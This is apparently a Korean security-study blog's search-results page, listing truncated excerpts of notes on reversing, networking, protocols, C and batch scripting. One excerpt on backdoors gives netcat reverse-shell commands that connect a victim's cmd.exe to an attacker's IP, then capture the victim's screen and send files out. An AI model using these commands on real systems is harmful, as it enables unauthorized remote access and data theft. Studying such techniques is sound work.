해킹보안 검색 결과

해당 글 91건

[D+1] 리버싱 소개 (1)

1. 리버싱 소개 1) 어셈블리 언어 ▣ 바이너리 디버거 (디스어셈블러)- OllyDBG- IDA Pro 2) 레지스터 ▣ 레지스터- 계산시 생성되는 임시값들을 저장 (임시공간)- CPU가 자주 참조해야하는 값. ex) 다음 읽어올 코드의 위치(메모리 상의 주소), 스택의 위치들(스택프레임) - 임시변수라고 생각하셈. ▣ 레지스터 종류- 메모리의 Char 값을 불러와서 레지스터에 저장 후 다시 다른 메모리에 저장하려하니 레지스터는 4바이트임.- 불필요한 값이 저장되는 사태가 발생.- 이를 방지하기위해 EAX~EDX 레지스터는 값을 쪼개서 사용할 수 있다.☞ C언어 상에서 레지스터명은 인식할 수 없음. 어셈블리어에서만 인식가능.☞ int eax; 와 같은 문장은 나중에 에러가 됨. (c언어에서는 에러 x)..
해킹&보안/리버싱 2017. 3. 21. 22:41

[D+3] 네트워크 (2)

2. 정보통신과 프로토콜 4) 통신 모델 ▣ 5 layer - Session- 사용자 위주의 논리적인 연결 서비스 제공- 데이터 에러 발생 시 복구를 관리- full-duplex(전이중 통신), half-duplex(반이중 통신), simplex(단방향 통신) ▣ 6 layer - Presentation- 암호화/복호화- 데이터의 압축/압축해제 ▣ 7 layer - Application- 사용자 인터페이스 제공- 웹, 전자우편, 원격파일 접근, 디렉토리 서비스.. 5) TCP/IP ▣ 인터넷이란?- TCP/IP 프로토콜 모음을 사용하는 네트워크들의 집합.- 인터넷은 ARPANET(군사용)에서 시작함. ▣ TCP/IP?- 일상 생활서 즐기는 통신 프로토콜 (인터넷)(1) 네트워크 인터페이스 계층- Ethe..
해킹&보안/네트워크 해킹&보안 2017. 3. 21. 20:59

[D+2] 프로토콜 (2) & 네트워크 개요 (1)

2. 정보통신과 프로토콜 2) 프로토콜 ▣ 프로토콜의 특성1. 직접 / 간접적2. 단일체 / 구조적3. 대칭 / 비대칭4. 표준 / 비표준 (like 사투리/표준어) ▣ 표준/비표준(Standard/Nonstandard) 프로토콜- 비표준 프로토콜☞ 통신이 잘 되지않음. - 표준 프로토콜☞ 통신이 아주 좋음▣ 프로토콜의 표준화- 필요성 : 표준 프로토콜을 사용할 경우 누가 만들더라도 서로 통신이 가능 (대표적 기구 : ISO (국제 표준화 기구)) 3) 네트워크 개요 ▣ 네트워크란?- Net + Work = 그물 + 인터넷을 하다- 컴퓨터간의 대화를 나누는 것. ▣ 네트워크의 출현- 56K 모뎀 -> ADSL -> 동축케이블 -> 광케이블 -> 기가인터넷 ▣ 네트워크의 종류 (By. 방식)1. 피어투피어..
해킹&보안/네트워크 해킹&보안 2017. 3. 20. 22:52

[D+1] 개요 & 정보 통신과 프로토콜 (1)

1. 개요 1) 침해사고 개요 ▣ 침해사고 개요- 악성코드 유포 증가 : 개인정보 이용 금전적 이득 목적 ☞ 바이러스 : 해커가 자신의 실력을 과시 목적. -> 블루스크린☞ 악성코드 : 돈이 목적 -> 증상이 나타나지 않음 = 백그라운드로 작동 (개인정보 수집)- 조직적 사이버 범죄 심화- 사회적 갈등의 온라인 표출 심화 : 악플- 사회 공학적 기법(피싱)의 지능화 : Private data + Fishing = Phishing - 응용프로그램 보안 취약점 출현 증가 지속☞ 버그바운티 제도 : 기업의 웹사이트의 버그를 알려주면 사례금을 제공하는 제도.- 무선 보안 취약점 악용 증대 (유선보다 무선이 3배정도 취약)- 모바일 보안 취약점 악용 증대 => 기밀정보 유출 증가 2. 정보 통신과 프로토콜 1) ..
해킹&보안/네트워크 해킹&보안 2017. 3. 19. 22:02

[D+22] 문자열 처리 함수

6. 문자열 처리 함수 1) 문자열 ▣ 문자열이란? - 문자의 배열- 문자열의 끝은 NULL ('\0')으로 끝남. 2) 문자열 처리 함수 ▣ strlen- 원형 : unsigned int strlen(const char* )☞ 반환형 : 문자열의 길이는 항상 0 이상의 정수이므로.☞ const : 문자열을 상수로 취급해서 사용하겠다는 의미. ( 원래 문자열의 변경을 방지 )#include #include unsigned int mystrlen(const char*); int main() { char s[10]; printf("string : %s\n", s); printf("Real strlen : %d\n", strlen(s)); printf("My strlen : %d\n", mystrlen(s))..
해킹&보안/C언어 2017. 3. 19. 19:55

쉘 프로그래밍

쉘 프로그래밍 1) For for /l %변수 in (초기값, 증가값, 최대값) do 명령 증가 또는 감소하는 for문 for /f "옵션" %변수 in (파일명) do 명령 파일 내용을 범위로 사용 for /f "옵션" %변수 in ("문자열") do 명령 문자열을 범위로 사용 for /f "옵션" %변수 in ('명령어') do 명령 명령 실행 결과를 범위로 사용 ▣ /f 옵션 "skip=숫자" 무시할 행의 수 "delims=문자" 각 행의 구분자 "tokens=범위" 각 행에서 사용할 토큰 - 옵션 미지정시 첫 토큰들만 출력. - skip : 해당 줄 까지 무시함. (없는 줄 취급)- delims : 각 행에서 구분자로 잘라 출력.- tokens : 토큰 별로 자름. - "delims=" : 구분자..
해킹&보안/시스템해킹&보안 2017. 3. 16. 22:31

[D+5] Backdoor (백도어) (2)

3. 백도어 (Backdoor) 3) 활용 ▣ 방화벽 우회 백도어 (NetCat) / 리버스텔넷 - 희생자화면 캡처하기- nc.exe 와 nircmd.exe가 필요함. (nircmd는 해킹툴이 아니고 명령어 실행툴)- 희생자의 컴퓨터에 nc.exe와 nircmd.exe 파일을 심어놨다는 가정하에 진행. ① 공격자컴 : nc -l -p [포트번호] ② 희생자컴 : nc -e cmd.exe [공격자 IP] [포트번호] ----- 밑의 명령어들은 모두 공격자가 실행.③ 붙은 희생자 cmd : nircmd savescreenshot [저장할 파일명]④ 공격자 컴의 새로운 cmd 창 : nc -l -p [또다른 포트번호] > [저장할 파일명]⑤ 붙은 희생자 cmd : type [전송할 파일명] | nc -w [전..
해킹&보안/시스템해킹&보안 2017. 3. 8. 23:34

[D+20] 포인터 (2)

5. 포인터 3) 연산자 ▣ 연산자#include int main() { int a = 1; int b = 2; char c = 'z'; int *pa; int *pb; char *pc; pa = &a; pb = &b; pc = &c; printf("pa : 0x%08X%d\n", pa, *pa); printf("pb : 0x%08X%d\n", pb, *pb); printf("pc : 0x%08X%d\n", pc, *pc); return 0; } - & 연산자 (주소 연산자) ☞ 주소를 구해줌 (변수 -> & -> 상수) - * 연산자 (역참조 연산자)☞ 값을 알아냄 (변수 배열의 크기 : 필요한 문자 수 + 1 char arr[5] = "Test";char arr[ ] = "Test";char arr[..
해킹&보안/C언어 2017. 3. 8. 19:08